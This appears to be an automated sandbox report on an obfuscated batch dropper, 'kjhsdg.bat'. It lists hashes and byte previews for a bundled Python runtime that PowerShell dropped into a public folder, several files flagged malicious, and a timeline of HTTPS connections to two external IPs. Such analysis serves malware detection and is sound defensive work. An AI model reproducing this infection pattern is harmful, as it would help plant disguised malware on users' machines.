SHA1:	DD96C98A247A5279AE522BEE71E0C9B3DE169E66
SHA-256:	231EDB546AC465EAE75990EB3272903A4F083AF3DC3BF18301375CB19CA12C20
SHA-512:	35DD65E26EA743A97B1E07F91774B82341B9A22CF342858C45E78C096A624ACF8DC08A5F683426E921A4FEB81A31E9CD56761BEB5D523DB5691611D886979401
Malicious:	false
Preview:	+++++++++++..Python News..+++++++++++....What's New in Python 3.12.2 final?..==================================....Release date: 2024-02-06....Security..--------....- gh-issue-113659: Skip ``.pth`` files with names starting with a dot or.. hidden file attribute.....Core and Builtins..-----------------....- gh-issue-114887: Changed socket type validation in.. :meth:`~asyncio.loop.create_datagram_endpoint` to accept all non-stream.. sockets. This fixes a regression in compatibility with raw sockets.....- gh-issue-114388: Fix a :exc:`RuntimeWarning` emitted when assign an.. integer-like value that is not an instance of :class:`int` to an attribute.. that corresponds to a C struct member of :ref:`type <PyMemberDef-types>`.. T_UINT and T_ULONG. Fix a double :exc:`RuntimeWarning` emitted when assign.. a negative integer value to an attribute that corresponds to a C struct.. member of type T_UINT.....- gh-issue-113703: Fix a regression in the :mod:`codeop` module that was.. causing

C:\Users\Public\Document\python.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	103192
Entropy (8bit):	6.359563293868007
Encrypted:	false
SSDEEP:	1536:aWlVYKbuEYE+9z2wp+FavGmhMn+IhzZtzs/FZRX7Syn/x2S:aWlVYKbuAs0FNmhMn+IhN2/FZRX5
MD5:	276532239A250BF2EC04FA51128031CF
SHA1:	A76325B621C8FC0059E59FAF5E5B8D3FB08FF226
SHA-256:	624BBC0586D8855633B875E911883BBEF8A0E8B8711E11126DF480DD86F54181
SHA-512:	13A3E4E46AC3994C625412AD28AAA371145501B66BAC1D35D6FF14F0A20BF6B72BEB09FFDF6AC29AFE5EE0810D113D95CBFFF4724E37E5FC90630CF49CA1882D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q..............A.......................................................................-.............Rich............PE..d.....e.........."....%.....X.................@....................................pA....`..................................................(.......P...;...@..\....d.../......0....#..T...........................P"..@............ ...............................text...<........................... ..`.rdata..V.... ......................@..@.data...8....0......."..............@....pdata..\....@.......$..............@..@.rsrc....;...P...<...&..............@..@.reloc..0............b..............@..B........................................................................................................................................................................................................................................................

C:\Users\Public\Document\python3.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68376
Entropy (8bit):	6.14896460878624
Encrypted:	false
SSDEEP:	768:LV1EbYGVXq6KC/prVHBN0cW18itCQDFPnOMFn+gikF/nFX14uewjBcCCC0yamM/u:LDmF61JFn+/OHZIAL0R7SyHxy
MD5:	6271A2FE61978CA93E60588B6B63DEB2
SHA1:	BE26455750789083865FE91E2B7A1BA1B457EFB8
SHA-256:	A59487EA2C8723277F4579067248836B216A801C2152EFB19AFEE4AC9785D6FB
SHA-512:	8C32BCB500A94FF47F5EF476AE65D3B677938EBEE26E80350F28604AAEE20B044A5D55442E94A11CCD9962F34D22610B932AC9D328197CF4D2FFBC7DF640EFBA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........T...5e..5e..5e..m..5e..e..5e.....5e..g..5e.Rich.5e.........PE..d......e.........." ...%............................................................x.....`.........................................`...H................................/..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Document\python312.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7009048
Entropy (8bit):	5.7826778751744685
Encrypted:	false
SSDEEP:	49152:mz0oCxOqKWneF3o1VLCClOTNRpaOviXEYWyb3eOYTvuFsx/iac84YNFXiTlv5WF4:mooCcqKLHX+az2Ro8Kv7HDMiEB/
MD5:	550288A078DFFC3430C08DA888E70810
SHA1:	01B1D31F37FB3FD81D893CC5E4A258E976F5884F
SHA-256:	789A42AC160CEF98F8925CB347473EEEB4E70F5513242E7FABA5139BA06EDF2D
SHA-512:	7244432FC3716F7EF27630D4E8FBC8180A2542AA97A01D44DCA260AB43966DD8AC98B6023400B0478A4809AACE1A128F1F4D6E544F2E591A5B436FD4C8A9D723
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........T..e...e...e...d...e.......e...`...e...a...e...f...e.......e..d...e...d...e..Bh.M.e..Be...e..B....e..Bg...e.Rich..e.........................PE..d......e.........." ...%.$)..ZB......]........................................k.....:.k...`...........................................O.d...toP......Pj.......`.dZ....j../...`j.pZ....3.T.....................I.(...P.3.@............@)..............................text....")......$)................. ..`.rdata...T'..@)..V'..().............@..@.data....?....P......~P.............@....pdata..dZ....`..\....`.............@..@PyRuntim.....@c......\b.............@....rsrc........Pj......^i.............@..@.reloc..pZ...`j..\...hi.............@..B........................................................................................................................................................................................

C:\Users\Public\Document\pythonw.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	101656
Entropy (8bit):	6.3782629526382495
Encrypted:	false
SSDEEP:	1536:zKSuhIxHHWMpdPa5wiE21M8kJIGFvb1Cwz/Z5sx7Syox3p:zKpSwMpdCq/IM8uIGfx/Z5sxm
MD5:	AD85B7A1F9B42B7CB9229CA895CC6ED2
SHA1:	958A8F17E432EA7E32F657BDBF668BE1B1C68E64
SHA-256:	EFA5CD364CC2A96AE0ED75667F24ED886EB56054FE9223FE052F27DAF1F38B57
SHA-512:	8E40024E834F20FB93E9A0C1F2B62B82616F77B16F66AE37836896E50DE2E4A54CE7A4F071A6CE76CD27824140C1FB9A97B2DE48EC6213F6DA374E1287A9C3DA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q..............[.......................................................................7.............Rich....................PE..d.....e.........."....%.....R.................@..........................................`..................................................(.......P..x5...@..t....^.../......0....#..T...........................`"..@............ ...............................text...\|........................... ..`.rdata..j.... ......................@..@.data...8....0......."..............@....pdata..t....@.......$..............@..@.rsrc...x5...P...6...&..............@..@.reloc..0............\..............@..B................................................................................................................................................................................................................................................

C:\Users\Public\Document\vcruntime140.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119192
Entropy (8bit):	6.6016214745004635
Encrypted:	false
SSDEEP:	1536:+qvQ1Dj2DkX7OcujarvmdlYNABCmgrP4ddbkZIecbWcFML/UXzlghzdMFw84hzk:+qvQ1D2CreiABCmgYecbWVLUD6h+b4ho
MD5:	BE8DBE2DC77EBE7F88F910C61AEC691A
SHA1:	A19F08BB2B1C1DE5BB61DAF9F2304531321E0E40
SHA-256:	4D292623516F65C80482081E62D5DADB759DC16E851DE5DB24C3CBB57B87DB83
SHA-512:	0DA644472B374F1DA449A06623983D0477405B5229E386ACCADB154B43B8B083EE89F07C3F04D2C0C7501EAD99AD95AECAA5873FF34C5EEB833285B598D5A655
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../c../c../c._]b./c..W.../c../b./c../c../c...`./c...g./c...f./c...c./c....../c...a./c.Rich./c.........................PE..d.....cW.........." ...&. ...d......................................................-.....`A.........................................e..4...4m...........................O...........N..p............................L..@............0...............................text...&........................... ..`fothk........ ...................... ..`.rdata..\C...0...D...$..............@..@.data...p............h..............@....pdata...............l..............@..@_RDATA...............x..............@..@.rsrc................z..............@..@.reloc...............~..............@..B................................................................................................................................................................

C:\Users\Public\Document\vcruntime140_1.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49528
Entropy (8bit):	6.662491747506177
Encrypted:	false
SSDEEP:	768:wPIyGVrxmKqOnA4j3z6Su77A+i0QLxi9z9Rtii9zn+:fBr87uW1nA8QLx+zrti+zn+
MD5:	F8DFA78045620CF8A732E67D1B1EB53D
SHA1:	FF9A604D8C99405BFDBBF4295825D3FCBC792704
SHA-256:	A113F192195F245F17389E6ECBED8005990BCB2476DDAD33F7C4C6C86327AFE5
SHA-512:	BA7F8B7AB0DEB7A7113124C28092B543E216CA08D1CF158D9F40A326FB69F4A2511A41A59EA8482A10C9EC4EC8AC69B70DFE9CA65E525097D93B819D498DA371
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9@.W}!..}!..}!...S...!..{....!..tYJ.v!..}!..N!..{...x!..{...z!..{...f!..{...\|!..{.&.\|!..{...\|!..Rich}!..................PE..d.....v..........." ...&.<...8.......B...................................................`A........................................Pm.......m..x....................r..xO......D....c..p...........................`b..@............P..`............................text...p:.......<.................. ..`.rdata...#...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_05z2q1mq.zda.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cx1tvtej.qdt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hh2zoj5k.aux.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jrk4t22u.xw2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kp4glsbl.ie3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ox0sjxo2.uwb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pypyiw0t.ov5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wigcbstr.2fm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\Desktop\tmp

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:Mrv:gv
MD5:	CE585C6BA32AC17652D2345118536F9C
SHA1:	BE0E41B3690C42E4C0CDB53D53FC544FB46B758D
SHA-256:	589C942E748EA16DC86923C4391092707CE22315EB01CB85B0988C6762AA0ED3
SHA-512:	D397EDA475D6853CE5CC28887690DDD5F8891BE43767CDB666396580687F901FB6F0CC572AFA18BDE1468A77E8397812009C954F386C8F69CC0678E1253D5752
Malicious:	false
Preview:	ECHO is off...

\Device\Null

Download File

Process:	C:\Windows\System32\find.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36
Entropy (8bit):	3.8956388075276664
Encrypted:	false
SSDEEP:	3:gOmAe9qQn:xm/
MD5:	89D484A82D15549C8F4BF2B4D4F1E924
SHA1:	58F49E997A58A17C2902E08026BAC2DD16A34B1B
SHA-256:	040AE1183CD6102AC612B2D88C2816B358FDC4743BC9CD05376E797595167B40
SHA-512:	C0C920A9369FF9E28C9DAE6CA21AE7A1F9A79F2F4F8F97E247D133700FC446CEAA2C6C40116DE644CEA9336D9064792F3AD7011EBCBF5B6675779C57590F167B
Malicious:	false
Preview:	FIND: Parameter format not correct..

Static File Info

General

File type:	Non-ISO extended-ASCII text, with very long lines (6684), with escape sequences
Entropy (8bit):	5.69043140942982
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	kjhsdg.bat
File size:	33'451 bytes
MD5:	82c229ce3d3387ad19c8d4eda2bc8758
SHA1:	8487e9a033c6028c94c4852c07eed3fc2afea9d0
SHA256:	a90819b2e27a5d5aa75c19972652ff0ae53f19526187129c125521c49675d824
SHA512:	b65ef42977a03eb3ace76e4fc8e2d9cf89083e31e999ad9696b7b292385a48b23c7f8cdf18e87c8071fc8c174ee7340b096ea829e3131c222a3fb4149d628233
SSDEEP:	384:UdkYmMlOSpPXE2KRqfw3idrYEx1ZjCc3B4kXOOMoq31WBEkXvF:M2Ml/XE260w3idrYExbj5BdXLq3yEsvF
TLSH:	A2E292D4268B3EAB11D3AA669219799278CB693D60FD091FC7743C5F1FF0368C821A71
File Content Preview:	....>nul 2>&1 &cls.;@;@@ec%...........^.....%h^%...............^...%%.....^...........%o o%...(......_...)......( ..._...)......(......_...)...(.........)(......^...)...( ..._...)...%f^%(........)(.........)...( ..._...)...(.........)(........)(.....^...)

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 15:51:41.482589960 CET	49704	443	192.168.2.5	162.125.69.18
Dec 6, 2024 15:51:41.482633114 CET	443	49704	162.125.69.18	192.168.2.5
Dec 6, 2024 15:51:41.482748985 CET	49704	443	192.168.2.5	162.125.69.18
Dec 6, 2024 15:51:41.491255999 CET	49704	443	192.168.2.5	162.125.69.18
Dec 6, 2024 15:51:41.491271973 CET	443	49704	162.125.69.18	192.168.2.5
Dec 6, 2024 15:51:42.919019938 CET	443	49704	162.125.69.18	192.168.2.5
Dec 6, 2024 15:51:42.919164896 CET	49704	443	192.168.2.5	162.125.69.18
Dec 6, 2024 15:51:42.927629948 CET	49704	443	192.168.2.5	162.125.69.18
Dec 6, 2024 15:51:42.927659035 CET	443	49704	162.125.69.18	192.168.2.5
Dec 6, 2024 15:51:42.928037882 CET	443	49704	162.125.69.18	192.168.2.5
Dec 6, 2024 15:51:42.940711021 CET	49704	443	192.168.2.5	162.125.69.18
Dec 6, 2024 15:51:42.987349033 CET	443	49704	162.125.69.18	192.168.2.5
Dec 6, 2024 15:51:44.048125029 CET	443	49704	162.125.69.18	192.168.2.5
Dec 6, 2024 15:51:44.048197031 CET	443	49704	162.125.69.18	192.168.2.5
Dec 6, 2024 15:51:44.048247099 CET	49704	443	192.168.2.5	162.125.69.18
Dec 6, 2024 15:51:44.048299074 CET	49704	443	192.168.2.5	162.125.69.18
Dec 6, 2024 15:51:44.054480076 CET	49704	443	192.168.2.5	162.125.69.18
Dec 6, 2024 15:51:48.617444038 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:48.617491007 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:48.620054960 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:48.622451067 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:48.622473001 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:49.842261076 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:49.842334032 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:49.845326900 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:49.845345974 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:49.845633030 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:49.851907969 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:49.899339914 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.301126957 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.301182032 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.301248074 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.301264048 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.301618099 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.301646948 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.301670074 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.301676989 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.301714897 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.309392929 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.317842007 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.317879915 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.317894936 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.317909956 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.317951918 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.326240063 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.334727049 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.334785938 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.334794044 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.379997969 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.380008936 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.426855087 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.493197918 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.497342110 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.497411013 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.497436047 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.497457027 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.497497082 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.505763054 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.514208078 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.514301062 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.514314890 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.522716999 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.522808075 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.522818089 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.531153917 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.531308889 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.531325102 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.539567947 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.539659023 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.539671898 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.548032045 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.548131943 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.548145056 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.565146923 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.565175056 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.565288067 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.565301895 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.565347910 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.573214054 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.581664085 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.581743002 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.581762075 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.581777096 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.581818104 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.590133905 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.645629883 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.685307026 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.690844059 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.690965891 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:50.690994024 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.699289083 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:50.699450970 CET	49705	443	192.168.2.5	172.65.251.78
